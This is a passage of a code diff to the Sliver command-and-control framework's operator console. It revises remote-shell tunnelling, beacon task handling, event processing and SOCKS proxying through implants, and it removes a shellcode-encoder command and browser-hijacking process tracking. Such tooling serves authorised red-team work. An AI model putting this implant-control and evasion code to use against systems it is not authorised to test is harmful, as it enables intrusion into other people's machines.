tw.AppendRow(row)
break
}
}
}
}
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, session.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
})
}
con.Printf("%s\n", tw.Render())
-49
View File
@@ -19,8 +19,6 @@ package settings
*/
import (
"strconv"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
@@ -45,56 +43,9 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
tw.AppendRow(table.Row{"Vim mode", con.Settings.VimMode, "Navigation mode, vim style"})
con.Printf("%s\n", tw.Render())
}
// SettingsAlwaysOverflow - Toggle always overflow
func SettingsAlwaysOverflow(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.Settings.AlwaysOverflow = !con.Settings.AlwaysOverflow
con.PrintInfof("Always overflow = %v\n", con.Settings.AlwaysOverflow)
}
// SettingsSmallTerm - Modify small terminal width value
func SettingsSmallTerm(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
result := ""
prompt := &survey.Input{Message: "Set small width:"}
err = survey.AskOne(prompt, &result)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
newWidth, err := strconv.Atoi(result)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if newWidth < 1 {
con.PrintErrorf("Invalid width (too small)\n")
return
}
con.Settings.SmallTermWidth = newWidth
con.PrintInfof("Small terminal width set to %d\n", con.Settings.SmallTermWidth)
}
// SettingsTablesCmd - The client settings command
func SettingsTablesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
+3 -3
View File
@@ -27,7 +27,7 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
"golang.org/x/term"
"golang.org/x/crypto/ssh/terminal"
)
var (
@@ -181,9 +181,9 @@ func PagesOf(renderedTable string) [][]string {
func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverConsoleClient) {
renderedTable := tw.Render()
lineCount := strings.Count(renderedTable, "\n")
if !overflow || con.Settings.AlwaysOverflow {
if !overflow {
// Only paginate if the number of lines is at least 2x the terminal height
width, height, err := term.GetSize(0)
width, height, err := terminal.GetSize(0)
if err == nil && 2*height < lineCount {
if 7 < height {
tw.SetPageSize(height - 6)
+2 -20
View File
@@ -61,8 +61,6 @@ func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *console.SliverConsoleClient) {
con.Println()
con.PrintInfof("Wait approximately 10 seconds after exit, and press <enter> to continue\n")
con.PrintInfof("Opening shell tunnel (EOF to exit) ...\n\n")
session := con.ActiveTarget.GetSession()
if session == nil {
@@ -70,12 +68,9 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
}
// Create an RPC tunnel, then start it before binding the shell to the newly created tunnel
ctxTunnel, cancelTunnel := context.WithCancel(context.Background())
rpcTunnel, err := con.Rpc.CreateTunnel(ctxTunnel, &sliverpb.Tunnel{
rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
SessionID: session.ID,
})
defer cancelTunnel()
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -83,7 +78,7 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID)
// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
tunnel := core.Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
@@ -95,19 +90,6 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
con.PrintErrorf("%s\n", err)
return
}
//
if shell.Response != nil && shell.Response.Err != "" {
con.PrintErrorf("Error: %s\n", shell.Response.Err)
_, err = con.Rpc.CloseTunnel(context.Background(), &sliverpb.Tunnel{
TunnelID: tunnel.ID,
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("RPC Error: %s\n", err)
}
return
}
defer tunnel.Close()
log.Printf("Bound remote shell pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
-81
View File
@@ -1,81 +0,0 @@
package sgn
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/hex"
"io/ioutil"
"path/filepath"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder
func ShikataGaNaiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
shellcodeFile := ctx.Args.String("shellcode")
rawShellcode, err := ioutil.ReadFile(shellcodeFile)
if err != nil {
con.PrintErrorf("Failed to read shellcode file: %s", err)
return
}
arch := ctx.Flags.String("arch")
iterations := ctx.Flags.Int("iterations")
rawBadChars := ctx.Flags.String("bad-chars")
badChars, err := hex.DecodeString(rawBadChars)
if err != nil {
con.PrintErrorf("Failed to decode bad chars: %s", err)
return
}
con.PrintInfof("Encoding shellcode with %d iterations and %d bad chars\n", iterations, len(badChars))
shellcodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: arch,
Iterations: uint32(iterations),
BadChars: badChars,
Data: rawShellcode,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if shellcodeResp.Response != nil && shellcodeResp.Response.Err != "" {
con.PrintErrorf("%s\n", shellcodeResp.Response.Err)
return
}
outputFile := ctx.Flags.String("save")
if outputFile == "" {
outputFile = filepath.Base(shellcodeFile)
outputFile += ".sgn"
}
err = ioutil.WriteFile(outputFile, shellcodeResp.Data, 0644)
if err != nil {
con.PrintErrorf("Failed to write shellcode file: %s", err)
return
}
con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputFile, len(shellcodeResp.Data))
}
+1 -1
View File
@@ -29,7 +29,7 @@ import (
// SocksStopCmd - Remove an existing tunneled port forward
func SocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
socksID := ctx.Flags.Uint64("id")
socksID := ctx.Flags.Int("id")
if socksID < 1 {
con.PrintErrorf("Must specify a valid socks5 id\n")
return
+4 -24
View File
@@ -157,8 +157,6 @@ func emojiState(state string) string {
return "⏳"
case "failed":
return "❌"
case "canceled":
return "🚫"
default:
return "❓"
}
@@ -235,7 +233,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
"loot": &grumble.FlagMapItem{Value: false, IsDefault: true},
},
}
exec.HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostname, ctx, con)
exec.PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
// execute-shellcode
case sliverpb.MsgTaskReq:
@@ -291,10 +289,9 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
Command: &grumble.Command{Name: "sideload"},
Flags: grumble.FlagMap{
"save": &grumble.FlagMapItem{Value: false},
"loot": &grumble.FlagMapItem{Value: false},
},
}
exec.HandleSideloadResponse(sideload, "", hostname, ctx, con)
exec.PrintSideload(sideload, hostname, ctx, con)
case sliverpb.MsgSpawnDllReq:
spawnDll := &sliverpb.SpawnDll{}
@@ -312,10 +309,9 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
Command: &grumble.Command{Name: "spawndll"},
Flags: grumble.FlagMap{
"save": &grumble.FlagMapItem{Value: false},
"loot": &grumble.FlagMapItem{Value: false},
},
}
exec.HandleSpawnDLLResponse(spawnDll, "", hostname, ctx, con)
exec.PrintSpawnDll(spawnDll, hostname, ctx, con)
case sliverpb.MsgSSHCommandReq:
sshCommand := &sliverpb.SSHCommand{}
@@ -360,15 +356,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
"modified": &grumble.FlagMapItem{Value: false},
"size": &grumble.FlagMapItem{Value: false},
}
filesystem.PrintLs(ls, flags, con)
case sliverpb.MsgMvReq:
mv := &sliverpb.Mv{}
err := proto.Unmarshal(task.Response, mv)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
filesystem.PrintLs(ls, flags, "", con)
case sliverpb.MsgMkdirReq:
mkdir := &sliverpb.Mkdir{}
@@ -458,14 +446,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
}
privilege.PrintGetSystem(getSystem, con)
case sliverpb.MsgCurrentTokenOwnerReq:
cto := &sliverpb.CurrentTokenOwner{}
err := proto.Unmarshal(task.Response, cto)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
case sliverpb.MsgImpersonateReq:
impersonateReq := &sliverpb.ImpersonateReq{}
err := proto.Unmarshal(task.Response, impersonateReq)
-60
View File
@@ -1,60 +0,0 @@
package tasks
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// TasksCancelCmd - Cancel a beacon task before it's sent to the implant
func TasksCancelCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon := con.ActiveTarget.GetBeaconInteractive()
if beacon == nil {
return
}
idArg := ctx.Args.String("id")
var task *clientpb.BeaconTask
var err error
if idArg == "" {
beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
tasks := []*clientpb.BeaconTask{}
for _, task := range beaconTasks.Tasks {
if task.State == "pending" {
tasks = append(tasks, task)
}
}
if len(tasks) == 0 {
con.PrintErrorf("No pending tasks for beacon\n")
return
}
task, err = SelectBeaconTask(tasks)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf(console.UpN+console.Clearln, 1)
} else {
task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{ID: idArg})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if task != nil {
task, err := con.Rpc.CancelBeaconTask(context.Background(), task)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Task %s canceled\n", task.ID)
}
}
-2
View File
@@ -97,8 +97,6 @@ func prettyState(state string) string {
return console.Bold + console.Orange + state + console.Normal
case "completed":
return console.Bold + console.Green + state + console.Normal
case "canceled":
return console.Bold + console.Gray + state + console.Normal
default:
return state
}
+1 -1
View File
@@ -70,7 +70,7 @@ func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb
}
if err == nil {
for _, session := range sessions.Sessions {
if strings.HasPrefix(session.ID, id) {
if session.ID == id {
return session, nil, nil
}
}
+10 -92
View File
@@ -26,6 +26,7 @@ import (
"io/ioutil"
"log"
insecureRand "math/rand"
"path"
"path/filepath"
"strconv"
"strings"
@@ -44,7 +45,6 @@ import (
"github.com/desertbit/go-shlex"
"github.com/desertbit/grumble"
"github.com/fatih/color"
"github.com/gofrs/uuid"
"google.golang.org/protobuf/proto"
)
@@ -92,7 +92,6 @@ type SliverConsoleClient struct {
App *grumble.App
Rpc rpcpb.SliverRPCClient
ActiveTarget *ActiveTarget
EventListeners *sync.Map
BeaconTaskCallbacks map[string]BeaconTaskCallback
BeaconTaskCallbacksMutex *sync.Mutex
IsServer bool
@@ -110,19 +109,17 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
App: grumble.New(&grumble.Config{
Name: "Sliver",
Description: "Sliver Client",
HistoryFile: filepath.Join(assets.GetRootAppDir(), "history"),
HistoryFile: path.Join(assets.GetRootAppDir(), "history"),
PromptColor: color.New(),
HelpHeadlineColor: color.New(),
HelpHeadlineUnderline: true,
HelpSubCommands: true,
VimMode: settings.VimMode,
}),
Rpc: rpc,
ActiveTarget: &ActiveTarget{
observers: map[int]Observer{},
observerID: 0,
},
EventListeners: &sync.Map{},
BeaconTaskCallbacks: map[string]BeaconTaskCallback{},
BeaconTaskCallbacksMutex: &sync.Mutex{},
IsServer: isServer,
@@ -139,7 +136,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
con.App.SetPrompt(con.GetPrompt())
})
go con.startEventLoop()
go con.EventLoop()
go core.TunnelLoop(rpc)
err := con.App.Run()
@@ -149,7 +146,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
return err
}
func (con *SliverConsoleClient) startEventLoop() {
func (con *SliverConsoleClient) EventLoop() {
eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
@@ -161,10 +158,7 @@ func (con *SliverConsoleClient) startEventLoop() {
return
}
go con.triggerEventListeners(event)
// Trigger event based on type
echoed := false // Only echo the event once
switch event.EventType {
case consts.CanaryEvent:
@@ -174,7 +168,6 @@ func (con *SliverConsoleClient) startEventLoop() {
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected\n", shortID)
}
echoed = true
case consts.WatchtowerEvent:
msg := string(event.Data)
@@ -184,19 +177,15 @@ func (con *SliverConsoleClient) startEventLoop() {
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected", shortID)
}
echoed = true
case consts.JoinedEvent:
con.PrintEventInfof("%s has joined the game", event.Client.Operator.Name)
echoed = true
case consts.LeftEvent:
con.PrintEventInfof("%s left the game", event.Client.Operator.Name)
echoed = true
case consts.JobStoppedEvent:
job := event.Job
con.PrintEventErrorf("Job #%d stopped (%s/%s)", job.ID, job.Protocol, job.Name)
echoed = true
case consts.SessionOpenedEvent:
session := event.Session
@@ -206,20 +195,18 @@ func (con *SliverConsoleClient) startEventLoop() {
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
// Prelude Operator
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.AddImplant(session, nil)
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.AddSession(session)
if err != nil {
con.PrintEventErrorf("Could not add session to Operator: %s", err)
}
}
echoed = true
case consts.SessionUpdateEvent:
session := event.Session
currentTime := time.Now().Format(time.RFC1123)
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventInfof("Session %s has been updated - %v", shortID, currentTime)
echoed = true
case consts.SessionClosedEvent:
session := event.Session
@@ -228,21 +215,18 @@ func (con *SliverConsoleClient) startEventLoop() {
con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v",
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
activeSession := con.ActiveTarget.GetSession()
core.GetTunnels().CloseForSession(session.ID)
core.CloseCursedProcesses(session.ID)
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveTarget.Set(nil, nil)
con.PrintEventErrorf("Active session disconnected")
con.App.SetPrompt(con.GetPrompt())
}
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.RemoveImplant(session)
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.RemoveSession(session)
if err != nil {
con.PrintEventErrorf("Could not remove session from Operator: %s", err)
}
con.PrintEventInfof("Removed session %s from Operator", session.Name)
}
echoed = true
case consts.BeaconRegisteredEvent:
beacon := &clientpb.Beacon{}
@@ -252,55 +236,17 @@ func (con *SliverConsoleClient) startEventLoop() {
con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
// Prelude Operator
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) {
con.AddBeaconCallback(taskID, cb)
})
if err != nil {
con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
}
}
echoed = true
case consts.BeaconTaskResultEvent:
con.triggerBeaconTaskCallback(event.Data)
echoed = true
}
con.triggerReactions(event)
// Only render if we echoed the event
if echoed {
con.Printf(Clearln + con.GetPrompt())
bufio.NewWriter(con.App.Stdout()).Flush()
}
con.Printf(Clearln + con.GetPrompt())
bufio.NewWriter(con.App.Stdout()).Flush()
}
}
func (con *SliverConsoleClient) CreateEventListener() (string, <-chan *clientpb.Event) {
listener := make(chan *clientpb.Event, 100)
listenerID, _ := uuid.NewV4()
con.EventListeners.Store(listenerID.String(), listener)
return listenerID.String(), listener
}
func (con *SliverConsoleClient) RemoveEventListener(listenerID string) {
value, ok := con.EventListeners.LoadAndDelete(listenerID)
if ok {
close(value.(chan *clientpb.Event))
}
}
func (con *SliverConsoleClient) triggerEventListeners(event *clientpb.Event) {
con.EventListeners.Range(func(key, value interface{}) bool {
listener := value.(chan *clientpb.Event)
listener <- event // Do not block while sending the event to the listener
return true
})
}
func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
reactions := core.Reactions.On(event.EventType)
if len(reactions) == 0 {
@@ -567,34 +513,6 @@ func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) {
go spin.Until(con.App.Stdout(), message, ctrl)
}
// FormatDateDelta - Generate formatted date string of the time delta between then and now
func (con *SliverConsoleClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string {
nextTime := t.Format(time.UnixDate)
var interval string
if t.Before(time.Now()) {
if includeDate {
interval = fmt.Sprintf("%s (%s ago)", nextTime, time.Since(t).Round(time.Second))
} else {
interval = time.Since(t).Round(time.Second).String()
}
if color {
interval = fmt.Sprintf("%s%s%s", Bold+Red, interval, Normal)
}
} else {
if includeDate {
interval = fmt.Sprintf("%s (in %s)", nextTime, time.Until(t).Round(time.Second))
} else {
interval = time.Until(t).Round(time.Second).String()
}
if color {
interval = fmt.Sprintf("%s%s%s", Bold+Green, interval, Normal)
}
}
return interval
}
//
// -------------------------- [ Active Target ] --------------------------
//
+2 -25
View File
@@ -88,15 +88,6 @@ const (
// BeaconTaskResult - Beacon task completed with a result
BeaconTaskResultEvent = "beacon-taskresult"
// ExternalBuildEvent
ExternalBuildEvent = "external-build"
AcknowledgeBuildEvent = "external-acknowledge"
ExternalBuildFailedEvent = "external-build-failed"
ExternalBuildCompletedEvent = "external-build-completed"
// WireGuardNewPeer - New Wireguard peer added
WireGuardNewPeer = "wireguard-newpeer"
)
// Commands
@@ -113,7 +104,6 @@ const (
ReconfigStr = "reconfig"
PruneStr = "prune"
TasksStr = "tasks"
CancelStr = "cancel"
GenerateStr = "generate"
RegenerateStr = "regenerate"
CompilerInfoStr = "info"
@@ -177,7 +167,6 @@ const (
ExecuteStr = "execute"
LsStr = "ls"
MvStr = "mv"
RmStr = "rm"
MkdirStr = "mkdir"
CdStr = "cd"
@@ -233,9 +222,8 @@ const (
InteractiveStr = "interactive"
CloseStr = "close"
PortfwdStr = "portfwd"
Socks5Str = "socks5"
RportfwdStr = "rportfwd"
PortfwdStr = "portfwd"
Socks5Str = "socks5"
ReactionStr = "reaction"
@@ -247,17 +235,6 @@ const (
GetPrivsStr = "getprivs"
PreludeOperatorStr = "prelude-operator"
ConnectStr = "connect"
ShikataGaNai = "shikata-ga-nai"
Cursed = "cursed"
CursedChrome = "chrome"
CursedConsole = "console"
CursedElectron = "electron"
CursedEdge = "edge"
CursedCookies = "cookies"
BuildersStr = "builders"
)
// Groups
-92
View File
@@ -1,92 +0,0 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"net/url"
"sync"
)
var (
// SessionID -> CursedProcess
CursedProcesses = &sync.Map{}
)
type CursedProcess struct {
SessionID string
PID uint32
BindTCPPort int
PortFwd *Portfwd
Platform string
ExePath string
ChromeUserDataDir string
}
func (c *CursedProcess) DebugURL() *url.URL {
return &url.URL{
Scheme: "http",
Host: fmt.Sprintf("localhost:%d", c.BindTCPPort),
Path: "/json",
}
}
func CursedProcessBySessionID(sessionID string) []*CursedProcess {
var cursedProcesses []*CursedProcess
CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcess := value.(*CursedProcess)
if cursedProcess.SessionID == sessionID {
cursedProcesses = append(cursedProcesses, cursedProcess)
}
return true
})
return cursedProcesses
}
func CloseCursedProcesses(sessionID string) {
CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcess := value.(*CursedProcess)
if cursedProcess.SessionID == sessionID {
defer func() {
value, loaded := CursedProcesses.LoadAndDelete(key)
if loaded {
curse := value.(*CursedProcess)
Portfwds.Remove(curse.PortFwd.ID)
}
}()
}
return true
})
}
func CloseCursedProcessesByBindPort(sessionID string, bindPort int) {
CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcess := value.(*CursedProcess)
if cursedProcess.SessionID == sessionID && cursedProcess.BindTCPPort == bindPort {
defer func() {
value, loaded := CursedProcesses.LoadAndDelete(key)
if loaded {
curse := value.(*CursedProcess)
Portfwds.Remove(curse.PortFwd.ID)
}
}()
}
return true
})
}
+7 -35
View File
@@ -1,26 +1,7 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"io"
"log"
"net"
@@ -135,7 +116,7 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
}
tunnel, err := p.dialImplant(ctx)
if cancel != nil {
defer cancel()
cancel()
}
if err != nil {
return
@@ -143,8 +124,8 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
// Cleanup
defer func() {
conn.Close()
GetTunnels().Close(tunnel.ID)
go conn.Close()
Tunnels.Close(tunnel.ID)
}()
errs := make(chan error, 1)
@@ -191,7 +172,7 @@ func (p *ChannelProxy) Host() string {
return host
}
func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) {
func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
log.Printf("[tcpproxy] Dialing implant to create tunnel ...")
@@ -203,9 +184,8 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) {
log.Printf("[tcpproxy] Failed to dial implant %s", err)
return nil, err
}
log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
tunnel := GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
tunnel := Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
log.Printf("[tcpproxy] Binding tunnel to portfwd %d", p.Port())
portfwdResp, err := p.Rpc.Portfwd(ctx, &sliverpb.PortfwdReq{
@@ -220,14 +200,6 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) {
if err != nil {
return nil, err
}
// Close tunnel in case of error on the implant side
if portfwdResp.Response != nil && portfwdResp.Response.Err != "" {
p.Rpc.CloseTunnel(ctx, &sliverpb.Tunnel{
TunnelID: tunnel.ID,
SessionID: p.Session.ID,
})
return nil, errors.New(portfwdResp.Response.Err)
}
log.Printf("Portfwd response: %v", portfwdResp)
return tunnel, nil
@@ -247,7 +219,7 @@ func (p *ChannelProxy) dialTimeout() time.Duration {
return 30 * time.Second
}
func toImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
func toImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
if wc, ok := conn.(*tcpproxy.Conn); ok && len(wc.Peeked) > 0 {
if _, err := tunnel.Write(wc.Peeked); err != nil {
errs <- err
@@ -260,7 +232,7 @@ func toImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
errs <- err
}
func fromImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
func fromImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
n, err := io.Copy(conn, tunnel)
log.Printf("[tcpproxy] Closing from-implant after %d byte(s)", n)
errs <- err
+34 -70
View File
@@ -20,10 +20,11 @@ package core
import (
"context"
"fmt"
"io"
"log"
"net"
"sync"
"sync/atomic"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -36,16 +37,16 @@ import (
var (
// SocksProxies - Struct instance that holds all the portfwds
SocksProxies = socksProxy{
tcpProxies: map[uint64]*SocksProxy{},
tcpProxies: map[int]*SocksProxy{},
mutex: &sync.RWMutex{},
}
SocksConnPool = sync.Map{}
SocksProxyID = (uint64)(0)
SocksProxyID = 0
)
// PortfwdMeta - Metadata about a portfwd listener
type SocksProxyMeta struct {
ID uint64
ID int
SessionID string
BindAddr string
Username string
@@ -59,28 +60,14 @@ type TcpProxy struct {
Password string
BindAddr string
Listener net.Listener
stopChan bool
KeepAlivePeriod time.Duration
DialTimeout time.Duration
}
func (tcp *TcpProxy) Stop() error {
err := tcp.Listener.Close()
// Closing all connections in pool
SocksConnPool.Range(func(key, value interface{}) bool {
con := value.(net.Conn)
con.Close()
return err == nil
})
return err
}
// SocksProxy - Tracks portfwd<->tcpproxy
type SocksProxy struct {
ID uint64
ID int
ChannelProxy *TcpProxy
}
@@ -96,7 +83,7 @@ func (p *SocksProxy) GetMetadata() *SocksProxyMeta {
}
type socksProxy struct {
tcpProxies map[uint64]*SocksProxy
tcpProxies map[int]*SocksProxy
mutex *sync.RWMutex
}
@@ -104,7 +91,6 @@ type socksProxy struct {
func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
f.mutex.Lock()
defer f.mutex.Unlock()
Sockser := &SocksProxy{
ID: nextSocksProxyID(),
ChannelProxy: tcpProxy,
@@ -115,56 +101,49 @@ func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
}
func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
ctx, cancel := context.WithCancel(context.Background())
proxy, err := tcpProxy.Rpc.SocksProxy(ctx)
defer cancel()
proxy, err := tcpProxy.Rpc.SocksProxy(context.Background())
if err != nil {
return err
}
go func() {
for {
for !tcpProxy.stopChan {
FromImplantSequence := 0
socksData, err := proxy.Recv()
p, err := proxy.Recv()
if err != nil {
log.Printf("Failed to Recv from proxy, %s\n", err)
return
}
if v, ok := SocksConnPool.Load(socksData.TunnelID); ok {
conn := v.(net.Conn)
if socksData.CloseConn {
conn.Close()
SocksConnPool.Delete(socksData.TunnelID)
if v, ok := SocksConnPool.Load(p.TunnelID); ok {
n := v.(net.Conn)
if p.CloseConn {
n.Close()
SocksConnPool.Delete(p.TunnelID)
continue
}
log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(socksData.Data))
log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
//fmt.Printf("recv data len %d \n", len(p.Data))
_, err := conn.Write(socksData.Data)
_, err := n.Write(p.Data)
if err != nil {
log.Printf("Failed to write data to proxy connection, %s\n", err)
continue
}
FromImplantSequence++
}
}
}()
for {
connection, err := tcpProxy.Listener.Accept()
for !tcpProxy.stopChan {
l, err := tcpProxy.Listener.Accept()
if err != nil {
